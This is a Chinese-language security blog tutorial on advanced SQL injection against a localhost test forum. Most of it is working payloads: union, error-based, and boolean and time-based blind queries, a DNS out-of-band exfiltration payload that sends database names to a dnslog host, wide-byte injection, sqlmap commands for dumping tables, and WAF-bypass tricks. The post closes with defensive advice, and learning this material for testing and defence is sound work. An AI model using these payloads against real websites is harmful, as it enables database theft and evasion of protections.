SQL注入漏洞进阶篇

📅 2026-01-07 📂 Web安全 SQL注入 sqlmap WAF绕过 盲注 DNS外带

一、SQL注入概述

SQL注入(SQL Injection)是一种常见的Web安全漏洞,攻击者通过在应用程序的输入字段中插入恶意SQL语句,从而对数据库进行非法操作。

SQL注入的危害包括:

  • 数据泄露:读取数据库中的敏感信息(用户账号、密码、个人信息等)
  • 数据篡改:修改、删除数据库中的数据
  • 权限提升:获取数据库管理员权限
  • 系统控制:通过数据库功能执行操作系统命令

二、SQL注入分类

2.1 联合查询注入(Union Based)

利用 UNION 操作符将攻击者的SQL语句与原始查询合并,从而获取额外数据。

测试环境:

复制代码
http://localhost/bbs/showmessage.php?id=1
http://localhost/bbs/showmessage.php?id=2

判断注入点:

复制代码
http://localhost/bbs/showmessage.php?id=1 and 1=1   -- 正常
http://localhost/bbs/showmessage.php?id=1 and 1=2   -- 异常

判断列数:

复制代码
http://localhost/bbs/showmessage.php?id=1 order by 1   -- 正常
http://localhost/bbs/showmessage.php?id=1 order by 2   -- 正常
http://localhost/bbs/showmessage.php?id=1 order by N   -- 直到报错

联合查询获取数据:

复制代码
http://localhost/bbs/showmessage.php?id=-1 union select 1,2,3,...
http://localhost/bbs/showmessage.php?id=-1 union select 1,version(),database()
http://localhost/bbs/showmessage.php?id=-1 union select 1,table_name,3 from information_schema.tables where table_schema=database()

2.2 报错注入(Error Based)

利用数据库报错信息来获取数据,常用的报错函数包括:

复制代码
-- updatexml报错注入
http://localhost/bbs/showmessage.php?id=1 and updatexml(1,concat(0x7e,(select user()),0x7e),1)

-- extractvalue报错注入
http://localhost/bbs/showmessage.php?id=1 and extractvalue(1,concat(0x7e,(select database()),0x7e))

-- floor报错注入
http://localhost/bbs/showmessage.php?id=1 and (select 1 from (select count(*),concat((select user()),floor(rand(0)*2))x from information_schema.tables group by x)a)

2.3 布尔盲注(Boolean Based Blind)

当页面不显示查询结果和报错信息,但会根据SQL语句的真假返回不同页面时,使用布尔盲注。

复制代码
-- 判断数据库名长度
http://localhost/bbs/showmessage.php?id=1 and length(database())=5

-- 逐字符猜解数据库名
http://localhost/bbs/showmessage.php?id=1 and substr(database(),1,1)='a'
http://localhost/bbs/showmessage.php?id=1 and ascii(substr(database(),1,1))=97

-- 使用ord函数
http://localhost/bbs/showmessage.php?id=1 and ord(mid(database(),1,1))=97

2.4 时间盲注(Time Based Blind)

当页面没有任何回显和报错时,通过时间延迟来判断SQL语句的真假。

复制代码
-- 基于sleep的延迟
http://localhost/bbs/showmessage.php?id=1 and if(1=1,sleep(5),0)
http://localhost/bbs/showmessage.php?id=1 and if(length(database())=5,sleep(5),0)

-- 基于benchmark的延迟
http://localhost/bbs/showmessage.php?id=1 and if(1=1,benchmark(10000000,sha1('test')),0)

三、DNS外带数据

当无法直接获取数据时,可以通过DNS查询将数据外带到攻击者控制的服务器。

使用dnslog.cn

复制代码
http://dnslog.cn/

DNS外带注入payload:

复制代码
-- MySQL DNS外带
http://localhost/bbs/showmessage.php?id=1 and load_file(concat('\\\\',database(),'.dnslog域名\\abc'))

-- 使用sqlmap的DNS外带
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" --dns-domain=dnslog域名

四、宽字节注入

当应用程序使用GBK/GB2312等宽字节编码时,可以利用宽字节特性绕过转义。

复制代码
-- 正常情况,单引号被转义
http://localhost/bbs/test.php?id=1\'  -- 被转义为 1\'

-- 宽字节注入,%df与\合并为一个宽字节字符
http://localhost/bbs/test.php?id=1%df\'  -- %df%5c组成一个GBK字符,单引号逃逸

五、sqlmap工具使用

sqlmap 是一款自动化的SQL注入检测与利用工具,官方地址:https://sqlmap.org/

5.1 基本用法

复制代码
# 检测注入点
sqlmap -u "http://localhost/bbs/showmessage.php?id=1"

# 获取数据库
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" --dbs

# 获取表
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" -D 数据库名 --tables

# 获取列
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" -D 数据库名 -T 表名 --columns

# 获取数据
sqlmap -u "http://localhost/bbs/showmessage.php?id=1" -D 数据库名 -T 表名 -C 列名 --dump

5.2 常用参数

复制代码
-u URL            # 指定目标URL
--data=DATA       # POST数据
--cookie=COOKIE   # 设置Cookie
--level=LEVEL     # 检测级别(1-5)
--risk=RISK       # 风险级别(1-3)
--technique=TECH  # 指定注入技术(B/E/U/S/T/Q)
--tamper=TAMPER   # 使用绕过脚本
--batch           # 不询问,使用默认选项
--random-agent    # 使用随机User-Agent
--proxy=PROXY     # 使用代理
--dns-domain=DOMAIN  # DNS外带域名

5.3 POST注入

复制代码
sqlmap -u "http://localhost/bbs/member/register.php" --data="username=admin&password=123456"

5.4 Cookie注入

复制代码
sqlmap -u "http://localhost/bbs/index.php" --cookie="session=abc123"

六、WAF绕过

6.1 大小写绕过

复制代码
http://localhost/bbs/showmessage.php?id=1 UnIoN SeLeCt 1,2,3

6.2 双写绕过

复制代码
http://localhost/bbs/showmessage.php?id=1 ununionion selselectect 1,2,3

6.3 编码绕过

复制代码
-- URL编码
http://localhost/bbs/showmessage.php?id=1 %55nion %53elect 1,2,3

-- 十六进制编码
http://localhost/bbs/showmessage.php?id=1 union select 1,hex(database()),3

-- Unicode编码
http://localhost/bbs/showmessage.php?id=1 uni%6fn sel%65ct 1,2,3

6.4 注释绕过

复制代码
-- 内联注释
http://localhost/bbs/showmessage.php?id=1 /*!union*/ /*!select*/ 1,2,3

-- MySQL版本注释
http://localhost/bbs/showmessage.php?id=1 /*!50000union*/ /*!50000select*/ 1,2,3

6.5 空格绕过

复制代码
-- 使用注释替代空格
http://localhost/bbs/showmessage.php?id=1/**/union/**/select/**/1,2,3

-- 使用%09 %0a %0b %0c %0d替代空格
http://localhost/bbs/showmessage.php?id=1%09union%09select%091,2,3

6.6 使用sqlmap的tamper脚本

复制代码
# 查看所有tamper脚本
sqlmap --list-tampers

# 常用tamper脚本
sqlmap -u "URL" --tamper="space2comment"        # 空格转注释
sqlmap -u "URL" --tamper="between"              # 用between替代大于号
sqlmap -u "URL" --tamper="randomcase"           # 随机大小写
sqlmap -u "URL" --tamper="charencode"           # URL编码
sqlmap -u "URL" --tamper="space2comment,between" # 组合使用

七、实战环境

本文使用的测试环境:

  • 目标BBS系统:http://localhost/bbs/
  • 测试页面:
    • http://localhost/bbs/showmessage.php?id=1
    • http://localhost/bbs/showmessage.php?id=2
    • http://localhost/bbs/test.php
    • http://localhost/bbs/member/register.php
    • http://localhost/bbs/member/cgpwd.php
    • http://localhost/bbs/index.php
  • DNS外带工具:http://dnslog.cn/
  • SQL注入工具:sqlmap

八、防御建议

  1. 使用参数化查询(预编译语句),从根本上防止SQL注入
  2. 对用户输入进行严格校验和过滤
  3. 使用ORM框架,减少手写SQL的场景
  4. 最小权限原则,数据库用户只授予必要权限
  5. 部署WAF,作为额外的安全防护层
  6. 关闭数据库报错信息显示,避免信息泄露
  7. 定期进行安全审计和漏洞扫描

© 2026 安全攻防笔记 - 仅供安全研究与学习使用

相关推荐
程序猿零零漆几秒前
Python核心进阶三连:闭包装饰器、深浅拷贝、网络编程从原理到实战
网络·python
袖手蹲18 分钟前
K10 百炼 AI 语音助手从网络配置到全链路语音交互的嵌入式实战
网络·人工智能·交互
liulilittle19 分钟前
KCC: An Exploration Along the Lines of BBR
网络·tcp/ip·计算机网络·bbr·通信·拥塞控制·kcc
星野爱89526 分钟前
云顶之弈7周年新版本!手机随时随地畅玩周年时光机派对
网络·智能手机·电脑
AI科技星31 分钟前
第六卷:量天尺传奇(几何学)
网络·人工智能·算法·概率论·学习方法·几何学·拓扑学
酉鬼女又兒35 分钟前
零基础入门IPv4地址:从基本概念、分类编址、子网划分到无分类编址与应用规划全解
网络·网络协议·计算机网络·考研·职场和发展·分类·智能路由器
未来侦察班40 分钟前
网络协议 数据链路层,“帧”建立统一新秩序
网络·网络协议
ICT系统集成阿祥1 小时前
校园网络准入认证建设与运维经验
运维·网络·智慧校园·经验总结
liulilittle1 小时前
甲骨文云中国大陆定向 QoS 原理及绕过解决方案
服务器·开发语言·网络·计算机网络·oracle·通信·qos
行走__Wz1 小时前
【网工入门-eNSP模拟-02】dhcp动态主机配置ip地址
服务器·网络·tcp/ip